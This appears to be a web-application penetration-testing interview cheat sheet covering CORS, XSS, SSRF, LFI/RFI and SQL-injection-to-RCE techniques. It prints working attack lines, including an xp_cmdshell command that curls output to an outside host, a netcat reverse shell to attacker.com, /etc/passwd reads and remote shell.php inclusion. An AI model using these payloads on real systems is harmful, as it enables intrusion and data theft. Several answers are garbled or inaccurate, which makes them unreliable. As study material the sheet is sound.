- **What is serialization and deserialization?**
  Serialization is a mechanism of converting the state of an object into a byte stream. Deserialization is the reverse process where the byte stream is used to recreate the actual Java object in memory.
- **Which model provide new tabs in google?**
  DOM-BOM
- **Who provide the headers in http request?**
  Browser & developer
- **What are 2 headers original in the request, and which part provide it?**
  Referer & origin , browser
- **What are HTTP headers?**
  Host, Referer, origin, Content-Length, Cookie, User-Agent
- **What is Same-site cookies?**
  SameSite prevents the browser from sending this cookie along with cross-site requests. The main goal is to mitigate the risk of cross-origin information leakage.
- **What are CORS attacks?**
- basic origin reflection
- trusted null origin trusted
- insecure protocols(subdomain)
- **Can you find xss on login page?**
  Yes , on response
- **What are security chains you can find from file upload?**
  RCE - XSS - XXE - path traversal - SQLI - DDOS
- **What is the difference between LFI & RFI?**
  Remote File Inclusion (RFI) is a type of vulnerability found in PHP running websites or web servers. The RFI is enabling an attacker to include the remotely hosting file however through scripting on the website servers and vulnerability occurring due to usage of its user-supplied user input without final validations through it. local file inclusion (LFI) is uploading malicious files to web servers via web browsers. The two vectors have to reference both in the file inclusions attacks.
- **What is the difference between 5*5 = 25 & = 5555 on SSTI?**
  it depends on the template engine

- **How do you do crowling with burpsuite?**

  Sitemap, spidering

- **What are servers?**

  Comcat, apache

- **How to get RCE from SQLI with different types?**

  [MSSQL] After enabling the xpcmdshell, I pinged my http-server using **;EXEC xpcmdshell ‘ping xxxxxxxx.ngrok.io’; — and got a response. Awseome! As you can see from the command below, the output of the command in PowerShell is sent to my HTTP server using curl. I used the command whoami, and got the response “ntservice\mssqlserver” ;EXEC xp_cmdshell ‘powershell -c “** $x = whoami; curl[http : //xxxxxx.net/get?output =$**x] (http://xxxxxx.net/get?output=%24x)"';--**

  to enable xpcmdshell : EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "eu-sql"

[MYSQL] Injecting the command @@datadir into the sql query to check where the sql is running on the server to get the full path of its location on the server. create a shell file and access it from the SQL from web to get reverse shell.

- **How to get RCE from LFI?**

1. Command Injection payload http://example.com/index.php?page=/etc/passwd&cmd=id
2. Reverse Shell payload http://example.com/index.php?page=/var/log/apache/access.log&cmd=nc%20-e%20/bin/bash%20attacker.com%204444
3. PHP Wrappers payload http://example.com/index.php?page=php://input&cmd=cat%20/etc/passwd
4. access.log file if you notice you can see the User-Agent saved in this file in this can send request to the website and change the user-agent to a PHP code which gives us a permission to execute commands we can use system() to execute commands
5. error.log file we will access /var/log/nginx/error.log to see which headers are displayed in the log. you will find Host header in the error.log file, so try to put php code including Remote code execution like that , , you will notice an error in the response so go back and access /var/log/nginx/error.log again you will find RCE.
6. SSH method Check which user is being used (/proc/self/status - /etc/passwd) /home/hax0r/.ssh/id_rsa #hax0r = User is being used

7. /proc//fd/ method Upload a lot of shells http://web.com/index.php?page=/proc/PID/fd/FD PID = PIDoftheproccess(canbebruteforced)FD = filedescriptor (can be bruteforced)
8.

- **What are source and sink in DOM xss?**
  DOM based cross site scripting occurs when JavaScript code accepts a user's input (source) and passes that input to another function that displays the results back to the page (sink) in an unsafe manner.
- **What is the difference between local storage and session storage?**
  local storage can't expire, but session storage can
- **IF there is secure flag on cookie, can u read it?**
  yes, expect of http only flag
- **What is SV nmap command do?**
  to get service version
- **IF you can't use ping to get target, what tool to use?**
  Nmap, tcping, tracert if it's not reachable.
- **How to perform CSRF from XSS when its only 12 char allowed?**
  import file contain chaining the 2 vulns
- **How to get RCE from SSRF?**
  http://localhost/upload.php?url=http://attacker.com/shell.php
  the payload contains a URL that points to a malicious shell.php file hosted on the attacker’s server. When the server processes the URL, it will execute the shell.php file and give the attacker full control over the system.
- **How to bypass input validation as 12 chars on XSS input?**
  from console, or import file method
- **How to do MITM attack on https?**
  depends on the SSL version
- **What is session management?**
  the process of securely handling multiple requests to a web-based application or service from a single user or entity
- **How to handle or retrieve data from blind/Out-of-band SSRF,XSS,XXE?**
  detecting the injection point interaction with attacking box like burp collab by http request or dns

- ### What happen if you find API Key?

  use it for Authentication

- ### Does CSRF and SOP makes conflict?

  NO

- ### If u got JWT can u do same like CSRF?

  yes

- ### CSRF severity on login page?

  None, no credentials.

- ### RCE from RFI?

  -Include php file from remote server to get RCE.

  -The tester can also host his arbitrary PHP code and access it through the **FTP** protocol. He can use the python library **pyftpdlib** to start a FTP server.

  -Sometimes, the vulnerable web application is hosted on a **Windows Server,** meaning the attacker could log into a **SMB Server** to store the arbitrary PHP code.

- ### LFI to LFD ?

  from php wrappers `file://filepath` , `php://filter`

- ### How to get LFI f is the diff between LFI & LFD?

  LFI executes the file content , but LFD don't, just read the file.

- ### How to Bypass filtering word between brackets in XSS?

  import remote file.

- ### What verify the file imported to execute XSS?

  SOP

- ### What verify accessing file to execute XSS?

  CSP(Content Security Policy)

- ### PHP functions to execute LFI?

  include(), require()

- ### XSS to CSRF and reverse ?

  -XSS to CSRF = write payload to extract user CSRF token.

  -CSRF to XSS = when you have self-XSS , use CSRF to make it Reflected.